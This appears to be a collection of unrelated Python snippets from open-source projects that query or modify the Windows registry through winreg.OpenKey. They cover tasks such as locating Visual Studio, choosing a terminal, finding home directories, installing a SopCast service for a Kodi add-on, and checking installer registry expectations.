def GuessVisualStudioPath(): defaultPath = r'C:\Program Files (x86)\Microsoft Visual Studio 14.0\Common7' \ r'\IDE' defaultExecutable = 'devenv.com' if not IsWindows(): return (defaultPath, defaultExecutable) keyNamesAndExecutables = [ # Pair for non-Express editions. (GetWindowsRegistryKeyName(r'Microsoft\VisualStudio'), 'devenv.com'), # Pair for 2012 Express edition. (GetWindowsRegistryKeyName(r'Microsoft\VSWinExpress'), 'VSWinExpress.exe'), # Pair for pre-2012 Express editions. (GetWindowsRegistryKeyName(r'Microsoft\VCExpress'), 'VCExpress.exe') ] bestGuess = (0.0, (defaultPath, defaultExecutable)) import _winreg for (keyName, executable) in keyNamesAndExecutables: try: key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, keyName) except WindowsError: # Can't find this key - moving on the next one. continue try: subkeyCounter = 0 while True: try: subkeyName = _winreg.EnumKey(key, subkeyCounter) subkeyCounter += 1 except WindowsError: # Reached end of enumeration. Moving on the next key. break match = re.match(r'^\d+\.\d+$', subkeyName) if match: with _winreg.OpenKey(key, subkeyName) as subkey: try: (installDir, registrytype) = _winreg.QueryValueEx( subkey, 'InstallDir') except WindowsError: # Can't find value under the key - continue to the next key. continue isExpress = executable != 'devenv.com' if not isExpress and subkeyName == '14.0': # Stop search since if we found non-Express VS2015 version # installed, which is preferred version. return installDir, executable version = float(subkeyName) # We prefer higher version of Visual Studio and given equal # version numbers we prefer non-Express edition. if version > bestGuess[0]: bestGuess = (version, (installDir, executable)) finally: _winreg.CloseKey(key) return bestGuess[1]
def get(terminal_key): package_dir = os.path.join(sublime.packages_path(), installed_dir) terminal = get_setting(terminal_key) if terminal: dir, executable = os.path.split(terminal) if not dir: joined_terminal = os.path.join(package_dir, executable) if os.path.exists(joined_terminal): terminal = joined_terminal if not os.access(terminal, os.X_OK): os.chmod(terminal, 0o755) return terminal if TerminalSelector.default: return TerminalSelector.default default = None if os.name == 'nt': if os.path.exists(os.environ['SYSTEMROOT'] + '\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'): # This mimics the default powershell colors since calling # subprocess.POpen() ends up acting like launching powershell # from cmd.exe. Normally the size and color are inherited # from cmd.exe, but this creates a custom mapping, and then # the LaunchPowerShell.bat file adjusts some other settings. key_string = 'Console\\%SystemRoot%_system32_' + \ 'WindowsPowerShell_v1.0_powershell.exe' try: key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, key_string) except (WindowsError): key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, key_string) _winreg.SetValueEx(key, 'ColorTable05', 0, _winreg.REG_DWORD, 5645313) _winreg.SetValueEx(key, 'ColorTable06', 0, _winreg.REG_DWORD, 15789550) default = os.path.join(package_dir, 'PS.bat') sublime_terminal_path = os.path.join(sublime.packages_path(), installed_dir) # This should turn the path into an 8.3-style path, getting around unicode # issues and spaces buf = create_unicode_buffer(512) if windll.kernel32.GetShortPathNameW(sublime_terminal_path, buf, len(buf)): sublime_terminal_path = buf.value os.environ['sublime_terminal_path'] = sublime_terminal_path.replace(' ', '` ') else : default = os.environ['SYSTEMROOT'] + '\\System32\\cmd.exe' elif sys.platform == 'darwin': default = os.path.join(package_dir, 'Terminal.sh') if not os.access(default, os.X_OK): os.chmod(default, 0o755) else: ps = 'ps -eo comm,args | grep -E "^(gnome-session|ksmserver|' + \ 'xfce4-session|lxsession|mate-panel|cinnamon-sessio)" | grep -v grep' wm = [x.replace("\n", '') for x in os.popen(ps)] if wm: # elementary OS: `/usr/lib/gnome-session/gnome-session-binary --session=pantheon` # Gnome: `gnome-session` or `gnome-session-binary` # Linux Mint Cinnamon: `cinnamon-session --session cinnamon` if wm[0].startswith('gnome-session') or wm[0].startswith('cinnamon-sessio'): if 'pantheon' in wm[0]: default = 'pantheon-terminal' else: default = 'gnome-terminal' elif wm[0].startswith('xfce4-session'): default = 'xfce4-terminal' elif wm[0].startswith('ksmserver'): default = 'konsole' elif wm[0].startswith('lxsession'): default = 'lxterminal' elif wm[0].startswith('mate-panel'): default = 'mate-terminal' if not default: default = 'xterm' TerminalSelector.default = default return default
def json_endjob(self, hostname, jobId, errorCode, ip): return str(db.endJob(hostname, int(jobId), int(errorCode), str(ip))) GErr = 0 GOk = 0 # Go to the script directory global installDir, dataDir if sys.platform == "win32": import _winreg # under windows, uses the registry setup by the installer try: hKey = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Mercenaries Engineering\\Coalition", 0, _winreg.KEY_READ) installDir, _type = _winreg.QueryValueEx(hKey, "Installdir") dataDir, _type = _winreg.QueryValueEx(hKey, "Datadir") except OSError: installDir = "." dataDir = "." else: installDir = "." dataDir = "." os.chdir(installDir) # Create the logs/ directory try: os.mkdir(dataDir + "/logs", 0755) except OSError:
def OpenKey(key, path, index, access): if s.isx64: return winreg.OpenKey(key, path, index, access | winreg.KEY_WOW64_64KEY) else: return winreg.OpenKey(key, path, index, access)
class BaseWindowsAuthorizer(object): """An authorizer compatible with Windows user account and password database. This class should not be used directly unless for subclassing. Use higher-level WinowsAuthorizer class instead. """ def __init__(self, anonymous_user=None, anonymous_password=None): # actually try to impersonate the user self.anonymous_user = anonymous_user self.anonymous_password = anonymous_password if self.anonymous_user is not None: self.impersonate_user(self.anonymous_user, self.anonymous_password) self.terminate_impersonation() def validate_authentication(self, username, password): if username == "anonymous": return self.anonymous_user is not None try: win32security.LogonUser(username, None, password, win32con.LOGON32_LOGON_INTERACTIVE, win32con.LOGON32_PROVIDER_DEFAULT) except pywintypes.error: return False else: return True @replace_anonymous def impersonate_user(self, username, password): """Impersonate the security context of another user.""" handler = win32security.LogonUser( username, None, password, win32con.LOGON32_LOGON_INTERACTIVE, win32con.LOGON32_PROVIDER_DEFAULT) win32security.ImpersonateLoggedOnUser(handler) handler.Close() def terminate_impersonation(self, username): """Terminate the impersonation of another user.""" win32security.RevertToSelf() @replace_anonymous def has_user(self, username): return username in self._get_system_users() @replace_anonymous def get_home_dir(self, username): """Return the user's profile directory, the closest thing to a user home directory we have on Windows. """ try: sid = win32security.ConvertSidToStringSid( win32security.LookupAccountName(None, username)[0]) except pywintypes.error, err: raise AuthorizerError(err) path = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" + \ "\\" + sid try: key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, path) except WindowsError: raise AuthorizerError( "No profile directory defined for user %s" % username) value = _winreg.QueryValueEx(key, "ProfileImagePath")[0] return win32api.ExpandEnvironmentStrings(value)
#!/usr/bin/python __author__ = 'kilroy' # (c) 2014, WasHere Consulting, Inc. # Written for Infinite Skills import _winreg valName = "myKey" try: with _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, "Software\\" + valName, 0, _winreg.KEY_READ) as key: if key: data = _winreg.QueryValueEx(key, "myVal") print(data) except Exception as e: print(e)
def get(descriptor): if descriptor == prefs.MOVIES_DIRECTORY: return os.path.join(specialfolders.base_movies_directory, app.configfile['shortAppName']) elif descriptor == prefs.NON_VIDEO_DIRECTORY: return specialfolders.non_video_directory elif descriptor == prefs.GETTEXT_PATHNAME: return resources.path("locale") elif descriptor == prefs.SUPPORT_DIRECTORY: return fileutil.expand_filename(_get_support_directory()) elif descriptor == prefs.ICON_CACHE_DIRECTORY: return os.path.join(_get_support_directory(), 'icon-cache') elif descriptor == prefs.COVER_ART_DIRECTORY: return os.path.join(_get_support_directory(), 'cover-art') elif descriptor == prefs.SQLITE_PATHNAME: path = get(prefs.SUPPORT_DIRECTORY) return os.path.join(path, 'sqlitedb') elif descriptor == prefs.CRASH_PATHNAME: directory = tempfile.gettempdir() return os.path.join(directory, "crashes") elif descriptor == prefs.LOG_PATHNAME: if u3info.u3_active: directory = u3info.app_data_path else: directory = tempfile.gettempdir() return os.path.join(directory, ('%s.log' % app.configfile['shortAppName'])) elif descriptor == prefs.DOWNLOADER_LOG_PATHNAME: if u3info.u3_active: directory = u3info.app_data_path else: directory = tempfile.gettempdir() return os.path.join( directory, ('%s-downloader.log' % app.configfile['shortAppName'])) elif descriptor == prefs.RUN_AT_STARTUP: import logging # we use the legacy startup registry key, so legacy versions # of Windows have a chance # http://support.microsoft.com/?kbid=270035 try: folder = _winreg.OpenKey( _winreg.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run") except WindowsError, e: # 2 indicates that the key doesn't exist yet, so # RUN_AT_STARTUP is clearly False if e.errno == 2: logging.exception("windowserror kicked up at open key") return False raise long_app_name = app.configfile['longAppName'] count = 0 while True: try: name, val, type_ = _winreg.EnumValue(folder, count) count += 1 if name == long_app_name: return True except WindowsError, e: # 22 indicates there are no more items in this folder # to iterate through. if e.errno == 22: return False else: raise
def configure_sopcast(latest_version): #Configuration for LINUX if xbmc.getCondVisibility('system.platform.linux') and not xbmc.getCondVisibility('system.platform.Android') and not settings.getSetting('force_android') == "true": print("Detected OS: Linux") #Linux Armv6 if os.uname()[4] == "armv6l": print("Detected linux armv6 - possible Raspberry PI") #Sop SPSC_KIT = os.path.join(addonpath,sopcast_raspberry.split("/")[-1]) download_tools().Downloader(sopcast_raspberry,SPSC_KIT,translate(40025),translate(40000)) import tarfile if tarfile.is_tarfile(SPSC_KIT): path_libraries = os.path.join(pastaperfil,"sopcast") download_tools().extract(SPSC_KIT,path_libraries) xbmc.sleep(500) download_tools().remove(SPSC_KIT) if latest_version: settings.setSetting('sopcast_version',value=latest_version) return elif os.uname()[4] == "armv7l": if settings.getSetting('jynxbox_arm7') == "true": SPSC_KIT = os.path.join(addonpath,sopcast_jynxbox.split("/")[-1]) download_tools().Downloader(sopcast_jynxbox,SPSC_KIT,translate(40025),translate(40000)) import tarfile if tarfile.is_tarfile(SPSC_KIT): path_libraries = os.path.join(pastaperfil) download_tools().extract(SPSC_KIT,path_libraries) xbmc.sleep(500) download_tools().remove(SPSC_KIT) if latest_version: settings.setSetting('sopcast_version',value=latest_version) return else: SPSC_KIT = os.path.join(addonpath,sopcast_raspberry.split("/")[-1]) download_tools().Downloader(sopcast_raspberry,SPSC_KIT,translate(40025),translate(40000)) import tarfile if tarfile.is_tarfile(SPSC_KIT): path_libraries = os.path.join(pastaperfil,"sopcast") download_tools().extract(SPSC_KIT,path_libraries) xbmc.sleep(500) download_tools().remove(SPSC_KIT) if latest_version: settings.setSetting('sopcast_version',value=latest_version) return elif os.uname()[4] == "x86_64": generic = False if settings.getSetting('openelecx86_64') == "true": print("Detected OpenELEC x86_64") SPSC_KIT = os.path.join(addonpath,openelecx86_64_sopcast.split("/")[-1]) download_tools().Downloader(openelecx86_64_sopcast,SPSC_KIT,translate(40025),translate(40000)) import tarfile if tarfile.is_tarfile(SPSC_KIT): download_tools().extract(SPSC_KIT,pastaperfil) xbmc.sleep(500) download_tools().remove(SPSC_KIT) if latest_version: settings.setSetting('sopcast_version',value=latest_version) return else: generic = True elif os.uname()[4] == "i386" or os.uname()[4] == "i686": generic = False if settings.getSetting('openeleci386') == "true": SPSC_KIT = os.path.join(addonpath,openelecxi386_sopcast.split("/")[-1]) download_tools().Downloader(openelecxi386_sopcast,SPSC_KIT,translate(40025),translate(40000)) import tarfile if tarfile.is_tarfile(SPSC_KIT): download_tools().extract(SPSC_KIT,pastaperfil) xbmc.sleep(500) download_tools().remove(SPSC_KIT) if latest_version: settings.setSetting('sopcast_version',value=latest_version) return else: generic = True if generic == True: SPSC_KIT = os.path.join(addonpath,sopcast_linux_generico.split("/")[-1]) download_tools().Downloader(sopcast_linux_generico,SPSC_KIT,translate(40025),translate(40000)) import tarfile if tarfile.is_tarfile(SPSC_KIT): path_libraries = os.path.join(pastaperfil,"sopcast") download_tools().extract(SPSC_KIT,path_libraries) xbmc.sleep(500) download_tools().remove(SPSC_KIT) #set every single file from the bundle as executable path_libraries = os.path.join(pastaperfil,"sopcast") dirs, files = xbmcvfs.listdir(path_libraries) for ficheiro in files: binary_path = os.path.join(path_libraries,ficheiro) st = os.stat(binary_path) import stat os.chmod(binary_path, st.st_mode | stat.S_IEXEC) path_libraries = os.path.join(path_libraries,"lib") dirs, files = xbmcvfs.listdir(path_libraries) for ficheiro in files: binary_path = os.path.join(path_libraries,ficheiro) st = os.stat(binary_path) import stat os.chmod(binary_path, st.st_mode | stat.S_IEXEC) if latest_version: settings.setSetting('sopcast_version',value=latest_version) return elif xbmc.getCondVisibility('system.platform.windows'): print("Detected OS: Windows") if not xbmcvfs.exists(pastaperfil): xbmcvfs.mkdir(pastaperfil) #Sop import ctypes is_admin=ctypes.windll.shell32.IsUserAnAdmin() != 0 if is_admin == False: mensagemok(translate(40000),translate(40158),translate(40159)) else: import subprocess cmd = ['sc','delete','sopcastp2p'] proc = subprocess.Popen(cmd,stdout=subprocess.PIPE,shell=True) for line in proc.stdout: print("cmd out: " + line.rstrip()) xbmc.sleep(1000) ret = mensagemprogresso.create(translate(40000),translate(40000)) mensagemprogresso.update(0,translate(40160)," ") xbmc.sleep(1000) import _winreg aReg = _winreg.ConnectRegistry(None,_winreg.HKEY_LOCAL_MACHINE) try: aKey = _winreg.OpenKey(aReg, r'SOFTWARE\SopCast\Player\InstallPath',0, _winreg.KEY_READ) name, value, type = _winreg.EnumValue(aKey, 0) sopcast_executable = value print("Installation executable of sopcast was found: " + sopcast_executable) _winreg.CloseKey(aKey) mensagemprogresso.update(10,translate(40160),translate(40161)) except: sopcast_executable = "" mensagemok(translate(40000),translate(40162),translate(40163)) if not sopcast_executable: pass else: xbmc.sleep(1000) mensagemprogresso.update(20,translate(40164)," ") xbmc.sleep(1000) print ("Getting windows users IDS") aReg = _winreg.ConnectRegistry(None,_winreg.HKEY_LOCAL_MACHINE) aKey = _winreg.OpenKey(aReg, r'SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList') users = [] for i in range(1024): try: asubkey=_winreg.EnumKey(aKey,i) print(asubkey) aKeydois = _winreg.OpenKey(aReg, os.path.join('SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList',asubkey)) val=_winreg.QueryValueEx(aKeydois, "ProfileImagePath") try: print(val[0]) except: print("Notice: User with strange characters, print cmd ignored.") if "Windows" in val[0] or "%systemroot%" in val[0]: pass else: users.append(asubkey) except: pass if not users: mensagemok(translate(40000),translate(40165)) else: mensagemprogresso.update(30,translate(40164),translate(40161)) xbmc.sleep(200) mensagemprogresso.update(30,translate(40166)," ") xbmc.sleep(1000) print("System Users", users) srvany_final_location = os.path.join(sopcast_executable.replace("SopCast.exe",""),"srvany.exe") srvany_download_location = os.path.join(addonpath,"srvany.exe") srvanytgz_download_location = os.path.join(addonpath,"srvany.tar.gz") download_tools().Downloader(srvany_executable,srvanytgz_download_location,translate(40167),translate(40000)) xbmc.sleep(1000) import tarfile if tarfile.is_tarfile(srvanytgz_download_location): path_libraries = addonpath download_tools().extract(srvanytgz_download_location,path_libraries) xbmcvfs.copy(srvany_download_location,srvany_final_location) download_tools().remove(srvanytgz_download_location) download_tools().remove(srvany_download_location) xbmc.sleep(1000) ret = mensagemprogresso.create(translate(40000),translate(40000)) xbmc.sleep(200) mensagemprogresso.update(35,translate(40168)," ") xbmc.sleep(1000) import subprocess cmd = ['sc','create','sopcastp2p','binpath=',os.path.join(os.path.join(sopcast_executable.replace("SopCast.exe","")),'srvany.exe')] proc = subprocess.Popen(cmd,stdout=subprocess.PIPE,shell=True) servicecreator = False for line in proc.stdout: print ("cmd out: " + line.rstrip()) servicecreator = True if servicecreator == False: mensagemok(translate(40000),translate(40169)) else: mensagemprogresso.update(40,translate(40168),translate(40161)) xbmc.sleep(1000) mensagemprogresso.update(45,translate(40170)," ") xbmc.sleep(1000) print("Trying to modify regedit....") try: aReg = _winreg.ConnectRegistry(None,_winreg.HKEY_LOCAL_MACHINE) key = _winreg.CreateKey(aReg, r'SYSTEM\CurrentControlSet\Services\sopcastp2p\Parameters') _winreg.SetValueEx(key, 'AppDirectory', 0, _winreg.REG_SZ, os.path.join(sopcast_executable.replace("SopCast.exe",""))) _winreg.SetValueEx(key, 'Application', 0, _winreg.REG_SZ, os.path.join(os.path.join(sopcast_executable.replace("SopCast.exe","")),"SopCast.exe")) _winreg.SetValueEx(key, 'AppParameters', 0, _winreg.REG_SZ, "sop://") mensagemprogresso.update(50,translate(40170), translate(40161)) regedit = True except: mensagemok(translate(40000),translate(40171)) regedit = False if regedit == False: pass else: xbmc.sleep(1000) mensagemprogresso.update(50,translate(40172), " ") cmd = ['sc','sdshow','sopcastp2p'] proc = subprocess.Popen(cmd,stdout=subprocess.PIPE,shell=True) lines = [] for line in proc.stdout: print(line.rstrip()) if line.rstrip() != "" and "(" in line.rstrip(): lines.append(line.rstrip()) else: pass if len(lines) != 1: mensagemok(translate(40000),translate(40173)) else: linha_arr = [] for user in users: linha_arr.append('(A;;RPWPCR;;;' + user + ')') linha_add = '' for linha in linha_arr: linha_add += linha print("line peace to add: " + linha_add) linha_final = lines[0].replace("S:(",linha_add + "S:(") print("Final line: " + linha_final) permissions = False xbmc.sleep(500) mensagemprogresso.update(60,translate(40172), translate(40161)) xbmc.sleep(500) mensagemprogresso.update(60,translate(40174), " ") cmd = ['sc','sdset','sopcastp2p',linha_final] proc = subprocess.Popen(cmd,stdout=subprocess.PIPE,shell=True) for line in proc.stdout: print(line.rstrip()) permissions = True if permissions == False: mensagemok(translate(40000),translate(40175)) else: mensagemprogresso.update(70,translate(40174), translate(40161)) xbmc.sleep(1000) mensagemprogresso.update(70,translate(40176), " ") print("Trying to set sopcastp2p service regedit permissions...") download_tools().Downloader(srvany_permissions,os.path.join(pastaperfil,"sopcastp2p-permissions.txt"),translate(40177),translate(40000)) xbmc.sleep(500) ret = mensagemprogresso.create(translate(40000),translate(40000)) xbmc.sleep(500) mensagemprogresso.update(80,translate(40178), " ") xbmc.sleep(1000) cmd = ['regini',os.path.join(pastaperfil,"sopcastp2p-permissions.txt")] proc = subprocess.Popen(cmd,stdout=subprocess.PIPE,shell=True) for line in proc.stdout: print(line.rstrip()) mensagemprogresso.update(90,translate(40178), translate(40178)) mensagemprogresso.update(100,translate(40179), " ") xbmc.sleep(2000) mensagemprogresso.close() if latest_version: settings.setSetting('sopcast_version',value=latest_version) return elif xbmc.getCondVisibility('System.Platform.OSX'): print("Detected OS: Mac OSX") available = False if os.uname()[-1] == "x86_64": mac_package = osx_x64_sopcast available = True elif os.uname()[-1] == "i386": mac_package = osx_i386_sopcast available = True else: available = False if available == True: if not os.path.exists(pastaperfil): xbmcvfs.mkdir(pastaperfil) MAC_KIT = os.path.join(addonpath,mac_package.split("/")[-1]) download_tools().Downloader(mac_package,MAC_KIT,translate(40025),translate(40000)) import tarfile if tarfile.is_tarfile(MAC_KIT): path_libraries = os.path.join(pastaperfil) download_tools().extract(MAC_KIT,pastaperfil) download_tools().remove(MAC_KIT) sp_sc_auth = os.path.join(pastaperfil,"sopcast","sp-sc-auth") st = os.stat(sp_sc_auth) import stat os.chmod(sp_sc_auth, st.st_mode | stat.S_IEXEC) if latest_version: settings.setSetting('sopcast_version',value=latest_version) return else: mensagemok(translate(40000),translate(600014)) return elif xbmc.getCondVisibility('System.Platform.Android') or settings.getSetting('force_android') == "true": print("Detected OS: Android") #Sopcast configuration print("Starting SopCast Configuration") #Moving sopclient to ext4 hack - tks steeve from xbmctorrent sopclient_builtin_location = os.path.join(addonpath,"resources","binaries","sopclient") #Hack to get current xbmc app id xbmcfolder=xbmc.translatePath(addonpath).split("/") i = 0 found = False sopcast_installed = False for folder in xbmcfolder: if folder.count('.') >= 2 and folder != addon_id : found = True break else: i+=1 if found == True: uid = os.getuid() app_id = xbmcfolder[i] xbmc_data_path = os.path.join("/data", "data", app_id) if os.path.exists(xbmc_data_path) and uid == os.stat(xbmc_data_path).st_uid: android_binary_dir = os.path.join(xbmc_data_path, "files", "plugin.video.p2p-streams") if not os.path.exists(android_binary_dir): os.makedirs(android_binary_dir) android_binary_path = os.path.join(android_binary_dir, "sopclient") if not os.path.exists(android_binary_path) or os.path.getsize(android_binary_path) != os.path.getsize(sopclient_builtin_location): import shutil shutil.copy2(sopclient_builtin_location, android_binary_path) binary_path = android_binary_path st = os.stat(binary_path) import stat os.chmod(binary_path, st.st_mode | stat.S_IEXEC) settings.setSetting('android_sopclient',value=binary_path) opcao= xbmcgui.Dialog().yesno(translate(40000), translate(50011),translate(50012)) if not opcao: settings.setSetting('external-sopcast',value='1') settings.setSetting('force_android',value='true') sopcast_installed = True mensagemok(translate(40000),translate(50014)) else: mensagemok(translate(40000),translate(50013)) if os.path.exists(os.path.join("sdcard","Download")): pasta = os.path.join("sdcard","Download") sopfile = os.path.join("sdcard","Download",sopcast_apk.split("/")[-1]) else: dialog = xbmcgui.Dialog() pasta = dialog.browse(int(0), translate(40190), 'myprograms') sopfile = os.path.join(pasta,sopcast_apk.split("/")[-1]) download_tools().Downloader(sopcast_apk,sopfile,translate(40073),translate(40000)) import tarfile if tarfile.is_tarfile(sopfile): download_tools().extract(sopfile,pasta) download_tools().remove(sopfile) mensagemok(translate(40000),translate(50015),pasta,translate(50016)) sopcast_installed = True settings.setSetting('external-sopcast',value='0') mensagemok(translate(40000),translate(50014)) if latest_version: settings.setSetting('sopcast_version',value=latest_version) return else: mensagemok(translate(40000),translate(50017)) return
def context_menu_integrate(item_key_name, item_display_text, item_command): app_menu_key = _winreg.OpenKey(_winreg.HKEY_CLASSES_ROOT, SHELL_REGKEY, 0, _winreg.KEY_WRITE) menu_item_key = _winreg.CreateKey(app_menu_key, item_key_name) _winreg.SetValueEx(menu_item_key, None, None, _winreg.REG_SZ, item_display_text) item_command_key = _winreg.CreateKey(menu_item_key, 'command') _winreg.SetValueEx(item_command_key, None, None, _winreg.REG_SZ, item_command)
def get_home_dir(): """Return the closest possible equivalent to a 'home' directory. * On POSIX, we try $HOME. * On Windows we try: - %HOMESHARE% - %HOMEDRIVE\%HOMEPATH% - %USERPROFILE% - Registry hack for My Documents - %HOME%: rare, but some people with unix-like setups may have defined it * On Dos C:\ Currently only Posix and NT are implemented, a HomeDirError exception is raised for all other OSes. """ isdir = os.path.isdir env = os.environ # first, check py2exe distribution root directory for _ipython. # This overrides all. Normally does not exist. if hasattr(sys, "frozen"): #Is frozen by py2exe if '\\library.zip\\' in IPython.__file__.lower( ): #libraries compressed to zip-file root, rest = IPython.__file__.lower().split('library.zip') else: root = os.path.join(os.path.split(IPython.__file__)[0], "../../") root = os.path.abspath(root).rstrip('\\') if isdir(os.path.join(root, '_ipython')): os.environ["IPYKITROOT"] = root return _cast_unicode(root, fs_encoding) if os.name == 'posix': # Linux, Unix, AIX, OS X try: homedir = env['HOME'] except KeyError: # Last-ditch attempt at finding a suitable $HOME, on systems where # it may not be defined in the environment but the system shell # still knows it - reported once as: # https://github.com/ipython/ipython/issues/154 from subprocess import Popen, PIPE homedir = Popen('echo $HOME', shell=True, stdout=PIPE).communicate()[0].strip() if homedir: return _cast_unicode(homedir, fs_encoding) else: raise HomeDirError('Undefined $HOME, IPython cannot proceed.') else: return _cast_unicode(homedir, fs_encoding) elif os.name == 'nt': # Now for win9x, XP, Vista, 7? # For some strange reason all of these return 'nt' for os.name. # First look for a network home directory. This will return the UNC # path (\\server\\Users\%username%) not the mapped path (Z:\). This # is needed when running IPython on cluster where all paths have to # be UNC. try: homedir = env['HOMESHARE'] except KeyError: pass else: if isdir(homedir): return _cast_unicode(homedir, fs_encoding) # Now look for a local home directory try: homedir = os.path.join(env['HOMEDRIVE'], env['HOMEPATH']) except KeyError: pass else: if isdir(homedir): return _cast_unicode(homedir, fs_encoding) # Now the users profile directory try: homedir = os.path.join(env['USERPROFILE']) except KeyError: pass else: if isdir(homedir): return _cast_unicode(homedir, fs_encoding) # Use the registry to get the 'My Documents' folder. try: import _winreg as wreg key = wreg.OpenKey( wreg.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" ) homedir = wreg.QueryValueEx(key, 'Personal')[0] key.Close() except: pass else: if isdir(homedir): return _cast_unicode(homedir, fs_encoding) # A user with a lot of unix tools in win32 may have defined $HOME. # Try this as a last ditch option. try: homedir = env['HOME'] except KeyError: pass else: if isdir(homedir): return _cast_unicode(homedir, fs_encoding) # If all else fails, raise HomeDirError raise HomeDirError('No valid home directory could be found') elif os.name == 'dos': # Desperate, may do absurd things in classic MacOS. May work under DOS. return u'C:\\' else: raise HomeDirError( 'No valid home directory could be found for your OS')
def main(): qu= _winreg.OpenKey( _winreg.HKEY_LOCAL_MACHINE ,r'SYSTEM\CurrentControlSet\Enum\USBSTOR' ,0 ) findUSB(qu)
def VerifyRegistryEntryExpectation(expectation_name, expectation, variable_expander): """Verifies a registry key according to the |expectation|. Args: expectation_name: The registry key being verified. It is expanded using Expand. expectation: A dictionary with the following keys and values: 'exists' a string indicating whether the registry key's existence is 'required', 'optional', or 'forbidden'. Values are not checked if an 'optional' key is not present in the registry. 'values' (optional) a dictionary where each key is a registry value (which is expanded using Expand) and its associated value is a dictionary with the following key and values: 'type' (optional) a string indicating the type of the registry value. If not present, the corresponding value is expected to be absent in the registry. 'data' (optional) the associated data of the registry value if 'type' is specified. If it is a string, it is expanded using Expand. If not present, only the value's type is verified. 'wow_key' (optional) a string indicating whether the view of the registry is KEY_WOW64_32KEY or KEY_WOW64_64KEY. If not present, the view of registry is determined by the bitness of the installer binary. variable_expander: A VariableExpander object. Raises: AssertionError: If an expectation is not satisfied. """ key = variable_expander.Expand(expectation_name) root_key, sub_key = key.split('\\', 1) try: # Query the Windows registry for the registry key. It will throw a # WindowsError if the key doesn't exist. registry_view = _winreg.KEY_WOW64_32KEY if 'wow_key' in expectation: registry_view = _RegistryViewConstant(expectation['wow_key']) elif variable_expander.Expand('$MINI_INSTALLER_BITNESS') == '64': registry_view = _winreg.KEY_WOW64_64KEY key_handle = _winreg.OpenKey(_RootKeyConstant(root_key), sub_key, 0, _winreg.KEY_QUERY_VALUE | registry_view) except WindowsError: # Key doesn't exist. See that it matches the expectation. assert expectation['exists'] != 'required', ('Registry key %s is ' 'missing' % key) # Values are not checked if the missing key's existence is optional. return # The key exists, see that it matches the expectation. assert expectation['exists'] != 'forbidden', ('Registry key %s exists' % key) # Verify the expected values. if 'values' not in expectation: return for value, value_expectation in expectation['values'].iteritems(): # Query the value. It will throw a WindowsError if the value doesn't # exist. value = variable_expander.Expand(value) try: data, value_type = _winreg.QueryValueEx(key_handle, value) except WindowsError: # The value does not exist. See that this matches the expectation. assert 'type' not in value_expectation, ( 'Value %s of registry key %s ' 'is missing' % (value, key)) continue assert 'type' in value_expectation, ( 'Value %s of registry key %s exists ' 'with value %s' % (value, key, data)) # Verify the type of the value. expected_value_type = value_expectation['type'] assert _ValueTypeConstant(expected_value_type) == value_type, \ "Value '%s' of registry key %s has unexpected type '%s'" % ( value, key, expected_value_type) if 'data' not in value_expectation: return # Verify the associated data of the value. expected_data = value_expectation['data'] if isinstance(expected_data, basestring): expected_data = variable_expander.Expand(expected_data) assert expected_data == data, \ ("Value '%s' of registry key %s has unexpected data.\n" " Expected: %s\n" " Actual: %s" % (value, key, expected_data, data))
def CleanRegistryEntry(expectation_name, expectation, variable_expander): """Cleans registry keys and/or values based on expectations. Args: expectation_name: The registry key being cleaned. expectation: A dictionary describing the state of the key: 'exists': Either the string 'forbidden', indicating that the key is to be deleted if it is found, or the string 'optional', indicating that specific values in the key are to be deleted if the key exists. 'values' (optional): For a key with 'optional' existence, a dictionary mapping value names to empty dicts, indicating that the values are to be deleted. variable_expander: A VariableExpander object. Raises: AssertionError: If an expectation is not satisfied. WindowsError: If an error occurs while cleaning the registry. """ key = variable_expander.Expand(expectation_name) assert not expectation['exists'] == 'required', ( 'Invalid expectation for CleanRegistryEntry operation: \'exists\' ' + 'property for key %s must not be \'required\'' % key) root_key, sub_key = key.split('\\', 1) try: # Query the Windows registry for the registry key. It will throw a # WindowsError if the key doesn't exist. registry_view = _winreg.KEY_WOW64_32KEY if 'wow_key' in expectation: registry_view = _RegistryViewConstant(expectation['wow_key']) elif variable_expander.Expand('$MINI_INSTALLER_BITNESS') == '64': registry_view = _winreg.KEY_WOW64_64KEY key_handle = _winreg.OpenKey( _RootKeyConstant(root_key), sub_key, 0, (win32con.DELETE | _winreg.KEY_ENUMERATE_SUB_KEYS | _winreg.KEY_QUERY_VALUE | _winreg.KEY_SET_VALUE | registry_view)) except WindowsError: # There is nothing to clean if the key doesn't exist. return if expectation['exists'] == 'forbidden': win32api.RegDeleteTree(key_handle, None) logging.info('CleanRegistryEntry deleted key %s' % key) return assert 'values' in expectation and expectation['values'], ( 'Invalid expectation for CleanRegistryEntry operation: a \'values\' ' + 'dictionary is required for optional key %s' % key) for value, value_expectation in expectation['values'].iteritems(): assert 'type' not in value_expectation, ( 'Invalid expectation for CleanRegistryEntry operation: value %s\\%s ' + 'must not specify a \'type\'' % key, value) try: _winreg.DeleteValue(key_handle, value) logging.info('CleanRegistryEntry deleted value %s\\%s' % (key, value)) except WindowsError as e: if e.winerror == winerror.ERROR_FILE_NOT_FOUND: continue raise
